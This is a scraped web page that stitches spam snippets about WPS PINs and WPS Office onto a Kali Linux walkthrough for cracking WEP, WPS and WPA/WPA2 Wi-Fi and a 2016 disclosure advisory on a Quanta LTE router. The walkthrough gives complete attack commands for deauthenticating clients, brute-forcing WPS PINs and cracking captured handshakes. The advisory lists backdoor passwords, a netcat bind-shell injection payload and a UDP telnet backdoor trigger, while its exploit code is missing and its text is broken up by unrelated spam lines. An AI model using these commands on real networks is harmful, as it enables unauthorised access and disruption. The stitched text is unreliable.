Wps Pin List Txt Download

Use the Share Wi-Fi feature to find the wireless network password on a mobile device with Android 10 and later. On your mobile device, open the Wi-Fi menu, and then tap Saved networks. Select a network from the list. Tap Share, and then enter your password or PIN. Find the Wi-Fi password underneath the QR code. Free download WPS Office 2019/2016, a free open office suite download alternative to Microsoft/MS Word, Spreadsheets,Presentation, etc. Would you need Office Word, Presentation, Spreadsheets or Office templates for home, business or education? WPS can be enabled using the following 2 choices: 1. Hardware WPS button: This method makes wireless connection as simple as pushing a button on the Wi-Fi enabled device and the wireless router. Take Edimax wireless router as an example, simply pushing the WPS button for 5 seconds and clicking the WPS button of the wireless card completes the.

It goes without saying that you should not use the techniques described below without the consent of the wireless owner. Piggybacking is illegal.

What you need

  • A version of Kali Linux : a Linux distro designed for penetration testing that comes by default with all the tools we will be using. Be sure to install the guest additions if you run it in a VM.
  • Optional (if you don’t want to use a VM and will install Kali straight on your computer): a Wireless USB adapter if you run Kali in a VM. Before buying one, verify that it is compatible with Kali. The Awus036NHA by Alfa is a good choice.

To make your adapter usable in VirtualBox, go to the settings and choose USB. Now add your device with the plus button on the right. Run the VM and physically unplug/replug and you should be good to go.

Getting started

Put your card in monitor mode and scan for APs and connections with airodump-ng:

Find out the interface name of your adapter using ifconfig and start it in monitor mode; open a terminal and type the following commands:

ifconfig
airmon-ng start <your wireless interface name, e.g. wlan0>
airodump-ng --wps <your interface in monitoring mode, e.g. wlan0mon or mon0>

airmon-ng might ask you to:
airmon-ng check kill

airodump-ng should yield an output like this:

It displays a list of detected access points (APs – the ones we will attempt to gain access to) and a list of connected clients, or stations (STA – phones, laptops, etc… connected at this moment to an AP).

Optionally, change your MAC address:
ifconfig down && macchanger -m 00:20:91:11:22:33 wlan0mon && ifconfig wlan0mon up

WEP – Wired Equivalent Privacy

WEP was used from 1997 to 2003 until it was deprecated due to its weak security. Today almost no APs use WEP.

The great weakness of WEP is its use of static keys: they have to be set manually, and both the AP and every connected client have the same key to encrypt traffic.

Wps pin list txt download

WEP uses RC4 keys. RC4 requires a random or pseudo-random initialization vectors (IVs).

The design of WEP violates this assumption and repeats them quite often: IVs of standard WEP are 24 bits long (this gives a space of 224), the maximum length of an IP datagram sent over an Ethernet is 1500 octets (sic rfc894), 802.11g’s maximum speed is 54Mbps, so by the pidgeon hole principle we will have a repetition after at most (224 + 1) * (1500 * 8) / (54*106) seconds, so roughly 1 hour. That sucks.

Sniffing enough traffic enables an attacker to crack the key. See the Fluhrer, Mantin and Shamir attack. Read more on the security of WEP.

In practice:

Quit monitoring mode:
airmon-ng stop <your interface in monitoring mode, e.g. wlan0mon or mon0>

Lock your interface on the same channel as your target:
airmon-ng start wlan0 <channel number of target AP, e.g. 11>

Start capturing IVs:
airodump-ng -c <channel number of target AP, e.g. 11> --bssid <target AP's MAC, e.g. 11:22:33:44:55:66> -w capture-file <your interface in monitoring mode, e.g. wlan0mon or mon0>

We now want the AP to generate many IVs.

In another console, fake auth:
aireplay-ng -1 0 -e <visible wi-fi's name, e.g. UPC0001> -a <MAC of AP, e.g. 11:22:33:44:55:66> -h <MAC of your machine, e.g. 11:11:22:33:44:55> <your interface in monitoring mode, e.g. wlan0mon or mon0>

In another console, listen for ARP requests and reinject them. The tricked AP will rebroadcast the requests and generate new IVs :
aireplay-ng -3 -b <MAC of AP, e.g. 11:22:33:44:55:66> -h <MAC of your machine, e.g. 11:11:22:33:44:55> <your interface in monitoring mode, e.g. wlan0mon or mon0>

Finally, in another console, crack the password:
aircrack-ng -K -b <MAC of AP, e.g. 11:22:33:44:55:66> output-file*.cap

Guaranteed to work. This is why WEP is deprecated and should never be used.

WPS – Wireless Protected Setup

WPS is a security mechanism offered by certain WPA/WPA2 access points. It allows a user to connect to an AP without specifying the password (PSK). Its purpose is to ease the setup/authentication process for users with little wireless configuration knowledge. There exist two modes that must be implemented by every AP offering WPS:

  • PIN: The user reads a number (typically found on the bottom of the router) and enters it on the client (the enrollee), or vice-versa.
  • Push the button: The user pushes a button (physical or virtual) on both the AP and the enrollee in a short period of time (e.g. less than 2 minutes).

The PIN method can be attacked. Since the PIN is 8 digits long, one could expect that the number of possible pins would be 108 , however, because of design flaws, there are only 11’000 possible candidates. You can read the details in the paper written by the guy who discovered the attack. This makes a bruteforce approach very practical.

To know if an AP is potentially vulnerable to this attack, check if it supports WPS using either airodump-ng:
airodump-ng -W <your interface in monitoring mode, e.g. wlan0mon or mon0>
or wash:
wash -i <your interface in monitoring mode, e.g. wlan0mon or mon0>

Then start the attack on your target, for example with Reaver:
reaver -i wlan0mon -c 1 -b 11:22:33:44:55:66 -vv

-i specifies the interface, -c the channel, -b the bssid of the target AP, and -vv for very verbose. The attack usually takes less than 15 hours. If successful, Reaver will display the WPA/WPA2 password (PSK), but note that Reaver doesn’t crack WPA/WPA2, only WPS.

androdumpper is an app for rooted androids capable of carrying this attack.

As a mechanism of defence against this attack, many APs will lock WPS after several wrong PINs. This will render this attack unfeasible. It is nonetheless worth a try.

In any case, it is wise to disable WPS. To do so, go to your router settings.

To access them, find the IP of your gateway:
ip route show

Then use your favorite browser and visit that IP. The typical default login is admin/admin. If it isn’t, check the default one for your router. If you still have the default password, change it!

WPA/WPA2 – Wi-Fi Protected Access

If you don’t care how the attack works, feel free to skip the below part.

WPA is a protocol that was developed in 2003 by the Wi-Fi Alliance to quickly propose a more secure alternative to WEP, which suffered great security flaws.

Since 2004, WPA2, a matured version of WPA, became the standard. This is the only protocol that should be used today.

WPA/WPA2 are different from WEP in the following ways:

  • a counter based mechanism prevents replay attacks
  • the initialization vector (IV) is increased to 48 bits, compared to the 24 bits used by WEP
  • the weak data integrity check used in the WEP standard, CRC, is replaced by the Michael algorithm for WPA, and AES for WPA2
  • instead of having static keys that had to be entered manually in APs and clients, WPA/WPA2 both use dynamic keys that are generated for each packet (WPA uses TKIP, which internally uses RC4 like WEP and WPA2 uses CCMP)

To summarize, WPA2 > WPA > WEP.

Authentication can be done in personal mode (WPA-PSK – pre-shared key) or enterprise mode (WPA-802.1X).
The former is well suited for home networks and small businesses. To connect, the client must send an ASCII password of length 8-63 to the AP. We will learn how to crack WPA/WPA2 secured networks operating in this mode.
The latter, more secure, but also harder to install because an authentication server is needed, is intended for larger organizations. The authentication requires an account (login + password), that is unique for each user. This makes things more complicated for hackers, and a phishing approach with a rogue AP is one way to go.

To understand how we can attack WPA/WPA2, let us now discuss how the connection between the client and the AP is made in WPA-PSK (personal) mode. During this process, both entities must prove that they know the password, called Pre-Shared Key (PSK), without ever sending it in clear text for obvious reasons.

The solution is a four-way handshake.

Both the client and the AP derive a Pairwise Master Key (PMK) from the Password-Based Key Derivation Function 2 (PBKDF2) : PMK = PBKDF2(PSK, SSID). This function is deliberately slow to prevent, or delay, an attacker from brute forcing WPA/WPA2 PSKs. The PMK will never be sent across the network, but will instead be used to derive session keys.

The first message sent is from the AP to the client and contains an ANonce (an authenticator nonce, a pseudo-random sequence of numbers used only once). Security wise, the important content of this message is the ANonce and the AP’s MAC address. From this message, the client, after generating his SNonce, is able to compute the Pairwise Transient Key (PTK) using the PMK, ANonce, SNonce, MAC of the client and MAC of the AP.

The second message is sent from the client to the AP. It contains its MAC address, its SNonce (station nonce), and a Message Integrity Code (MIC) using the PTK.

The AP is now able to compute the PTK and generates the Group Temporal Key (GTK). The third message is sent from the AP to the client and contains the encrypted GTK and a MIC.

Finally, the client sends an acknowledgment (ACK) to the AP.

If you are interested, you can read more on the 4-way handshake on Wikipedia and if you want more details you can read this chapter of the book Real 802.11 Security: Wi-Fi Protected Access and 802.11i by Jon Edney and William A. Arbaugh.

So how can we attack this protocol?

  1. Sniff the wireless network and look for a 4-way handshake. We are interested in the MIC sent in the second message. We can either wait for someone to connect to the AP or force disconnect an already connected client. In any case, we need a client to connect to the AP at some point during the sniffing phase of the attack.
  2. Choose a PSK (a possible password of length 8-63) and compute the associated PMK = PBKDF2(PSK, SSID, ssidLen, 4096, 256)
  3. Compute the associated PTK using the PMK, the challenges (ANonce, SNonce) and the MAC addresses of the client and the AP
  4. Compute the MIC of the second message exchanged during the 4-way handshake and compare it to the one we obtained in step 1.
  5. Repeat from step 2 until we find a match

Enough explanations, let’s run Kali and see how this works in practice.

From the output of airodump-ng (Figure 1), note the BSSID and the channel (CH) of the AP you target.

We will try to get a 4-way handshake:

airodump-np -c 11 -w myhandshake --bssid 8C:04:FF:04:72:C0 <your interface in monitoring mode, e.g. wlan0mon or mon0>

Here the channel is 1, myhandshake is the prefix name of the files that will be created, 8C:04:FF:04:72:C0 is the MAC address of the AP and wlan0mon is the name of the interface.

At this point we can either wait for a handshake to happen (a client that connects to the AP), or deauthenticate a station and hope that it connects back (most machines are designed to work this way).

You will know that a handshake has been found by looking at the top-right corner of the output of airodump-ng:

To disconnect all users (!) connected to some AP, open another terminal (CTRL+SHIFT+T) and use:
aireplay-ng --deauth 0 -a <MAC of AP, e.g. 8C:04:FF:04:72:C0> <your interface in monitoring mode, e.g. wlan0mon or mon0>

To disconnect only one client from the AP, use:
aireplay-ng --deauth 0 -a <MAC of AP, e.g. 8C:04:FF:04:72:C0> -c <MAC of client to disconnect, e.g. 00:11:22:33:44:55> <your interface in monitoring mode, e.g. wlan0mon or mon0>

Here the parameter 0 of –deauth indicates that we want to send deauths continuously. Once a handshake is found, stop aireplay-ng and airodump-ng with CTRL+C.

Now that we have our handshake (a *.cap file), we can try and crack the PSK, for example with a dictionary attack. We need a dictionary file (basically a text file with one word per line) that is likely to contain the password of the AP. You can use your favorite search engine to find wordlists (you probably want to download dictionaries for the language spoken in the location of the targetted AP).

Alternatively, you can generate your own wordlists. I highly recommend cupp: it enables you to improve an existing dictionary, download huge wordlists from online, profile a user’s password, and more. Many other tools are available.

Now that you have your wordlists, you can use aircrack-ng:
aircrack-ng -w mywordlist.txt myhandshake-01.cap

mywordlist.txt contains the passwords to test and myhandshake-01.cap is the capture file that contains the 4-way handshake.

As you can see in Figure 5, aircrack-ng (in my VM) is able to test approximately 800-900 passwords/seconds. This is awfully slow if the dictionary used has millions of entries. There are two simple things we can do to improve that speed:

  1. Run the computations in the host OS and not in the VM
  2. Use our GPU instead (aircrack-ng uses the CPU). Watch this great video by the Mythbusters to see why.

Hashcat can help us do that. It runs on Linux, OSX, and Windows. You could also use John The Ripper or other alternatives.

To use hashcat you need to convert your .cap file to .hccap. Do it this way:
wpaclean clean_handshake.cap myhandshake-01.cap
aircrack-ng clean_handshake.cap -J clean_handshake

You could also use hashcat’s online converter if you have internet access.

Get the obtained clean_handshake.hccap to the machine that will perform the cracking and use hashcat:

Hashcat: dictionnary (wordlist) attack

hashcat64.exe -m 2500 clean.hccap wordlist.txt

Here the option -m specifies the hash type to WPA/WPA2.

As you can see, we were able to obtain a speed of 52’000 passwords/seconds (more than 50 times faster than aircrack running in the Kali VM).

Hashcat: Rule-based attack

This is another technique that can be used to crack WPA/WPA2 passwords. It can be used if a dictionary attack failed.

A rule-based attack is similar to a dictionary attack in the sense that it also needs a wordlist. For all words in the list, it will apply some rules that you specified. Each rule will produce a new password that will be tested.

For example, say you specify two rules:

  • append the number 1 at the end ($1)
  • reverse the word (r)

Feeding the word “password”, you will get two outputs: “password1” and “drowssap”.

Rules can be both simple (e.g. r for reverse) and complex (e.g. sa@si1sq9ss5st7sx% to transform “password” into “p@55word”).

Many rules come with hashcat in the rules/ folder. To write your own, read the rule-based attack page from hashcat’s website.

Trivially, the more rules, the longer the attack.

Here is an example command to run this method:
hashcat64.exe -m 2500 -r rules/best64.rule clean.hccap wordlist.txt

Again, -m specifies the hash type, -r the path to a file containing rules (1 per line).

Hashcat: Brute-Force attack (mask attack)

If you’ve been unlucky with the previous methods, this might be the solution.

This is the easiest attack: you simply guess all the possibilities until you find a match.

To run a mask attack for passwords of 8 letters, use:
hashcat64.exe -m 2500 -a 3 clean.hccap ?l?l?l?l?l?l?l?l

-a specifies the attack mode: 3 is brute-force.

?l signifies lower case letters, ?u upper case letters, ?d digits, ?s special characters, ?a all characters.

You can also define your own charsets using the commands -1, -2, -3, and -4.

The following would find the word passw0rd:
hashcat64.exe -m 2500 -a 3 clean.hccap -2 paswrd?d ?2?2?2?2?2?2?2?2

Although guaranteed to work if the mask covers the password, this can take a lot of time (years), depending on the complexity and length of the mask.

For example, a mask of 8 digits covers 108 (100 million) passwords. Assuming 50K Hashes/second, this takes at most half an hour. However, a mask of 8 letters covers 268 (208 billion+) passwords. On the same machine, this would take at most 48 days… Hashcat will tell you the estimated time before completion, but it is fun to compute your own estimation.

Conclusion

You might think that having an insecure wireless connection in your home is not that bad, that it would only enable some people to steal your bandwidth. You would be wrong. Once a hacker is connected to your (W)LAN, he will have a vast choice over what attack to perform.

In order to have an almost impossible to hack wireless at home, use WPA2, a long (at least 20 characters long) and strong password, for example containing lower and upper case characters, numbers, and special characters. Your long-term memory will appreciate this training.

I hope you liked this post. Questions, error reporting, and feedbacks are not only welcome but greatly encouraged! Feel free to comment below or send me an email.

Product Description

Quanta Computer Incorporated is a Taiwan-based manufacturer of electronic hardware.It is the largest manufacturer of notebook computers in the world.

Vulnerabilities Summary

The Quanta LTE QDH Router device is a LTE router / access point overall badlydesigned with a lot of vulnerabilities. It's available in a number of countries toprovide Internet with a LTE network.

The tests below are done using the latest available firmware (firmware 01.00.05_1210, model revision QDHY10_M1.2252_45041, /DailyBuild/MDM9x25_2031_QDT/QDHY_2031_YOOMEE/codebase/MDM9x25_2031_QDH_20141210_0940/MDM9x25_2031_QDT/LINUX/apps_proc/oe-core/build/tmp-eglibc/work-shared/gcc-4.6.2+svnr181430-r22/gcc-4_6-branch/libgcc/../gcc/config/arm).

The summary of the vulnerabilities is:

A personal point of view: at best, the vulnerabilites are due to incompetence; at worst, it is a deliberate act of security sabotage from the vendor. Not all the vulnerabilities found have been disclosed in this advisory. Only the significant ones are shown.

Note: This firmware is being used by other Quanta CPEs. From the /usr/www/js/ui/qdisplay.js file,the vulnerable firmware seems to be used in several routers:

  • Quanta 4G WiFi Router QDH
  • Quanta 4G WiFi Router UNE
  • Quanta 4G WiFi Router MOBILY (QDH-Mobily - CPE342X)
  • Quanta 4G WiFi Router Yoomee

The routers are still on sale and used in several countries.

Due to lack of communication of the vendor, the specific list of affected countries is unknown. However, we assume the affected firmware is used at least in some Arabic speaking countries as the Help files are written in English, French, Chinese and Arabic (See http://192.168.1.1/help_ar.html).

Due to lack of security patches provided by the vendor, the vulnerabilities will remain unpatched.

Details - Hardcoded SSH Server key

A hardcoded SSH server key can be found in /etc/dropbear/dropbear_rsa_host_key and can be used to decipher SSH traffic to the router:

Base64 hardcoded SSH server key:

Details - Backdoor accounts

By default, telnetd and SSHd are running in the router.

2 backdoors accounts exist and can be used to bypass the HTTP authentication used to manage the router.

The password for admin is 'admin' and can be found in the /bin/appmgr program using IDA:

About the root user:

Using john to crack the hashes:

Results:

  • admin has password admin
  • root has password 1234

Working exploit for admin:

Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-ssh-default-password-admin.

Working exploit for root

Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-ssh-default-password-root.

Details - Router DoS

The router has apparently small capacity when trying to route packets.

This 'exploit' will likely force the router to reboot:

Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-dos-crash-router.sh.

Details - WebInterface Information Leak

The webinterface allows an attacker to retrieve every sensible information without authentication (web login, web passwords, wifi configuration, WPS PIN, Dyndns login, Dyndns passwords, Wifi SSIDs, ...).

This 'exploit' will show all the configuration of the router, including logins and passwords:

Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-infoleak.sh.

Using this exploit:

Details - RCE #1

The Webinterface allows an attacker to execute commands as root by injecting commands.

The first RCE has been found in the ping API:

Ping Remote command execution with nc -l -p 1337 -e /bin/ash as a payload

A complete exploit is provided and will produce this output:

This exploit will bypass the authentication, get the information about credentials using the infoleak, use them to get a CSRF token, launch a backdoor shell as root, add an user and then connect with SSH with the new created account with a fully-working shell:

Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-rce-remote-exploit-ping.sh.

Details - RCE #2

The Webinterface allows an attacker to execute commands as root by injecting commands.

The second RCE has been found in the traceroute API:

Traceroute Remote command execution:

Working exploit:

The output is the same as the first RCE. A complete exploit is provided and will produce this output:

This exploit will bypass the authentication, get the information about credentials using the infoleak, use them to get a CSRF token, launch a backdoor shell as root, add an user and then connect with SSH with the new created account with a fully-working shell:

Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-rce-remote-exploit-traceroute.sh.

Details - Backdoor

A backdoor is present inside the /bin/appmgr program. By sending a specific string in UDP to the router, an authentication-less telnet server will start if a telnetd daemon is not already running.

In /bin/appmgr, a thread listens to 0.0.0.0:39889 (UDP) and waits for commands.

If a client sends 'HELODBG' to the router, the router will execute /sbin/telnetd -l /bin/sh, allowing to access without authentication to the router as root.

When using IDA, we can see the backdoor is located in the main function (line 389):

Working PoC :

Details - Default WPS PIN

Wi-Fi Protected Setup(WPS) is a standard for easy and secure establishment of a wireless home network, as defined in the documentation provided in the router (help.html).

By default, the PIN for the WPS system is ever 28296607. It is, in fact, hardcoded in the /bin/appmgr program:

An user can check in the webinterface ('Par defaut' means 'By default'):

This PIN can be found in the HostAP configuration too, and, using the information leak, in the HTTP APIs of the router:

Leak of the default WPS PIN in the HTTP APIs:

Details - Weak WPS PIN Generation - with a reverse-engineered algorithm

An user can use the webinterface to generate a temporary PIN for the WPS system (low probability as the 28296607 WPS PIN is provided by default).

The PIN generated by the router is weak as it is generated using this 'strange' reverse-engineered algorithm:

You can fetch this program at https://pierrekim.github.io/advisories/quanta-wps-gen.c.

Using srand(time(0)) as a seed is a bad idea because an attacker, knowing the current date as time(0) returns the current date in an integer value, can just generate the valid WPS PIN. The Router uses NTP so is likely to have a correct timestamp configured. It's trivial for an attacker to generate valid WPS PIN suites and bruteforce them.

For the curious reader, the original algorithm in the firmware is:

Details - Backdoor accounts in Samba

Samba is configured to run by default and the /bin/genpasswd program configures the different accounts.

As seen in the IDA screenshot, multiple backdoors accounts are created:

  • admin with the password 1234
  • support with the password 1234
  • user with the password 1234
  • nobody with the password 1234

From /bin/genpasswd:

The resulting file (/usr/pc/samga/etc/passwd) is:

And john confirms the passwords:

When Samba starts, the passwd file is copied into /var/pc/samba/etc/passwd.

Details - Leaking No-IP account (?):

The file /etc/inadyn-mt.conf (for a dyndns client) contains an user and a hardcoded password. I don't know if it is used:

Details - Remote FOTA (Firmware Over The Air)

The credentials to contact the FOTA server are hardcoded in the /sbin/fotad binary, as shown with this IDA screenshot:

The function sub_C8A4 contains the credentials as base64-strings, used to retrieve the firmware.

It's notable the FOTA daemon tries to retrieve the firmware over HTTPS. But at the date of the writing,the SSL certificate for https://qdp:qdp@fotatest.qmitw.com/qdh/ispname/2031/appliance.xml is invalid for 1 year.

The user/password combinaisons are:

Details - TOCTOU vulnerability in QCMAP_ConnectionManager - LPE

This program is started at boot as root. The function sub_131F4 creates the /etc/guest_access_rules.sh file, then fills it with ebtables commands, then chmod 777 /etc/guest_access_rules.sh (!), then executes /etc/guest_access_rules.sh (as root) and then removes it from the filesystem.

The local admin user (without root privileges) can use this TOCTOU vulnerability to gain root privileges in the router. Chmoding 777 a file and then executing it as root doesn't seem to be a good idea.

ds_system_call() is a wrapper to system().

Beginning of the sub_131F4 function (/etc/guest_access_rules.sh is opened and ebtables are created):

End of the sub_131F4 function, where the TOCTOU vulnerability is located:

The attentive reader will comment that the program doesn't check if the file /etc/guest_access_rules.sh already existed and if it was owned by a non-root user before doing a fopen (file, 'w'), so this user would keep the rights on the file during all the execution of the function, allowing him to add some commands into the file. He will be right to note this is not a best security practice.

Details - Default Wifi Password Weakness

By default, Wifi password is provided as a 8-char string. It's composed of [A-Z]{8}. It's possible to bruteforce it very fast using a WPA handshake.

Details - HTTP DoS

By sending multiple authenticated http requests to a webservice allowing to retrieve anti-csrf tokens (security feature!), it is possible to get the qmiweb daemon (http daemon) to use 100% of CPU and to become unresponsive.The service doesn't check the number of requested anti-csrf tokens by the client, so it is possible to request a large number of tokens, resulting in the blocking of the HTTP server.

Problematic HTTP request:

PoC:

Alternatively, you can fetch the exploit at https://pierrekim.github.io/advisories/quanta-dos-http.sh.

In the router, the /bin/qmiweb program uses all the CPU.

Details - Arbitrary file browsing using the http daemon

If an usb key or an usb hard disk is connected to the router, then it's possible to do arbitrary browsing using the http daemon in file system of the router using root privileges.

The problem is the function in the http daemon which doesn't clean ../../ in the HTTP requests.

Using the provided exploit: the exploit uses the information leak to use the login/password to get a valid cookie session and then exploits the vulnerability in the http daemon.

PoC to browse the / directory of the router:

Source of the exploit:

Alternatively, you can fetch the exploit at https://pierrekim.github.io/advisories/quanta-http-directory-listing.sh.

Details - Arbitrary file reading using the http daemon

If an usb key or an usb hard disk is connected to the router, then it's possible to do arbitrary file reading in the file system of the router using root privileges.

The problem is the function in the http daemon which does clean the ../../ strings in the requests but not hex-encoded '/' (%2f) characters.

Using the provided exploit: the exploit uses the information leak to use the login/password to get a valid cookie session and then exploits the vulnerability in the http daemon.

PoC to retrieve the /etc/shadow file:

Source of the exploit:

Alternatively, you can fetch the exploit at https://pierrekim.github.io/advisories/quanta-http-file.sh.

Details - Network Eavesdropping - Interception with the gglogd program

By default, the available pcap library is not located in the good path and tcpdump doesn't work (missing lib).

The /bin/gglogd program is interesting because it fixes the tcpdump dependencies by moving libpcap into the correct directory, as shown in IDA screenshots.

Then, the /bin/gglogd program will log all the traffic passing through the bridge0 (wlan0+eth* : wireless and ethernet) and the LTE interface (rmnet0). The resulting interception files will be written into the flash memory, so 'somebody' can retrieve the logged traffic even if the router is rebooted.

Fixing tcpdump library:

Execution of tcpdump:

/bin/gglogd is not started by default but it is suspicious that (1) this kind of the program is present in this router, (2) the program will fix the tcpdump dependencies on its own (tcpdump doesn't work by default in the firmware image) and (3) intercepting files are stored in a persistent storage. This intrigues further thoughts what the developer wanted to achieve from these settings.

This is not a vulnerability but an interesting fact.

Details - Misc

Samba is started if a FAT32 usb disk is connected. The provided Samba version (3.0.25b) is outdated : 9 year old and is prone to =~ 28 CVEs allowing an attacker to execute arbitrary code as root. I advise users not to connect usb disks to this device, connecting an usb disks will start the samba daemons.

Dropbear is outdated (v2011.54).

Details - Security removed in UPnP

UPnP allows to add firewall rules dynamically. Because of the security risks involved, generally there are restrictions in place to avoid dangerous new firewall rules from an unstrusted LAN client.

Insecurity in IPnP was hype 10 years ago (in 2006). The security level of the UPNP program (miniupnp) in this router is lowered volontary as shown below and allows an attacker located in the LAN area to add Port forwarding from the Internet to other clients located in the LAN:

From /var/miniupnpd.conf:

There is no restriction about the UPnP permission rules in the configuration file, contrary to common usage in UPnP where it is advised to only allow redirection of port above 1024:

Normal config file:

In the configuration of the vulnerable router where there are no permission rules, an attacker can forward everything from the WAN into the LAN.From example, an attacker can add a forwarding rule in order to allow traffic from the Internet to local Exchange servers, mail servers, ftp servers, http servers, database servers...In fact, this lack of security allows a local user to forward what they want from the Internet into the LAN as shown below with the miranda tool.

Firewall rules in the router before an attacker (with IP 192.168.1.2) uses UPnP:

Firewall rules in the router after an attacker (with IP 192.168.1.2) uses UPnP:

A new firewall rule allowing traffic from the Internet to a local HTTP server (192.168.1.101) was sucessfully added.

Details - Undocumented diagnostic webpage

The webpage at http://192.168.1.1/diaglogs_page.htm (needs a valid session) gives new parameters to edit:

  • QXDM Filter (?),
  • Download Mode Configuration when modem crash occured,
  • usb_factory_pid,
  • Web Redirect(?),
  • FOTA test Configuration,
  • LTE modem Configuration,
  • LTE Band Preferences Configuration,
  • SMS Self-Registration Debug Test,
  • Sending SMS PDU Test,
  • Editing TR069 Configuration,
  • WLAN (802.11b, bg, bgn)

This is not a vulnerability but an interesting hidden functionality.

Personal notes

As the router has a sizable memory (168 MB), a decent CPU and good free space (235 MB) with complete toolkits installed by default (sshd, proxy (/bin/tinyproxy -c /var/tproxy.conf), tcpdump ...), I advise users to trash their routers because it's trivial for an attacker to use this router as an attack vector (ie: hosting a sniffing tool, LAN hacking, active MiTM tool, spamming zombie).

The reader must understand that not all the vulnerabilities have been disclosed. There is a lot of interesting undisclosed findings in this router (including RCEs) and I encourage security researchers to analyze the binaries provided by the firmware (We can agree I already did my part).

Given the vulnerabilities found, even if the vendor changes its mind and decides to patch the router, I don't think it is even possible as it needs major rewrites in several main components (the ASM code shows very bad security practices in several binaries).

From my tests, it is possible to overwrite the firmware with a custom (backdoored) firmware. Generating a valid backdoored firmware is left as an exercise for the reader, but with all these included vulnerabilities in the default firmware, I don't think it is worth making the effort.

To illustrate the precedent fact, here is the current available space in the router:

Tribute to Alex

The /var/alex directory is used as a storage directory for logs. This in a non conventional path and seems to be named after one of the programmer's name. Hello Alex !

In Samba:

Wps Pin List Txt Download Free

In the Firmware Over The Air program:

Having fun with the LEDs:

This device has a lot of LEDs and an user can control them.

You can recycle the router as a funny 'light show' device with this command:

The leds will start blinking like crazy. It will add some fun in this long journey.

Cached

Vendor Response

The vulnerable router is in the End Of Service cycle and will not be supported anymore.

The vendor considers the router is still working well.

The vendor will consider security in their next product development.

Report Timeline

  • Dec 04, 2015: Vulnerabilities found by Pierre Kim.
  • Mar 04, 2016: security@quantatw.com is contacted asking for a GPG key to exchange about vulnerabilities: email bounced.
  • Mar 04, 2016: Quanta is contacted about vulnerabilities in their routers and how to get a security contact at Quanta.
  • Mar 04, 2016: Quanta asks Pierre Kim about the affected device: model name, version and clear details about the vulnerabilities in order to redirect to the good IT department.
  • Mar 04, 2016: Pierre Kim specifies the model of the Router, asks for a GPG key in order to send detailed informations and clarifies he found backdoor accounts in the default firmware, allowing an unauthenticated, remote attacker to log in to the device with the privileges of the root user.
  • Mar 09, 2016: Pierre Kim contacts Quanta again to get a contact at the security team.
  • Mar 12, 2016: Pierre Kim contacts Quanta again to get a contact at the security team.
  • Mar 14, 2016: A Sale Account Manager at Quanta ('MIS department') asks if Pierre Kim gets the device from the Operator YooMee and says 'The S/W is already fixed for our customer and we are not able to change it randomly for end customer. However, we appreciate your information and we will take into consideration for the s/w development in the near future.'
  • Mar 14, 2016: Pierre Kim asks for clarification and asks if the device is End of Life and unsupported, even for security patches. Pierre Kims asks Quanta about clarification for the Vendor Response in the future public Security Advisory.
  • Mar 15, 2016: Quanta confirms the product is EOL and the released firmware was approved by the operator. Quanta can't modify of change without the customer's approval. Quanta does not have plan to patch or change FW as the product is EOL. Quanta thanks Pierre Kim for the information and will consider the findings into our next product development in the near future.
  • Mar 15, 2016: Pierre Kim asks if Quanta encourages users to discard the unsupported router for the 'Vendor Response' in the advisory because no patch will be provided by the vendor.
  • Mar 16, 2016: Quanta considers the router is still working well but is in End Of Service cycle. Quanta doesn't encourage users to discard the router.
  • Mar 16, 2016: Pierre Kim adapts the Vendor Response accordingly but warns Quanta he is very concerned that no security workarounds are provided by the vendor. At this time, Quanta never asked about the security vulnerabilities in detail, nor provided a GPG key.
  • Mar 18, 2016: Pierre Kim contacts again Quanta to ask if there is another reachable security team at Quanta. He asks again for a GPG key and demands Quanta to confirm no security patches are planned for the Quanta QDH Router.
  • Mar 21, 2016: Quanta confirms the product is EOL. Quanta asks details about the vulnerabilities.
  • Mar 22, 2016: Pierre Kim asks Quanta for a GPG key and states he will give a first draft without the exploits if Quanta is unable to provide a GPG key.
  • Mar 23, 2016: Quanta asks an advisory in cleartext without exploits.
  • Mar 23, 2016: Pierre Kim sends a draft to Quanta.
  • Apr 04, 2016: A public advisory is sent to security mailing lists.

Credit

Mac: WPS Pin Manufactured For - Wpsfinder.com

These vulnerabilities were found by Pierre Kim (@PierreKimSec).

GitHub - Aleavellaneda1/PinList-for-Dumpper

References

See Full List On Osdn.net

Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-CommercialShare-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/

WPSPin-v1.0.3.apk

published on 2016-04-04 00:00:00 by Pierre Kim <pierre.kim.sec@gmail.com>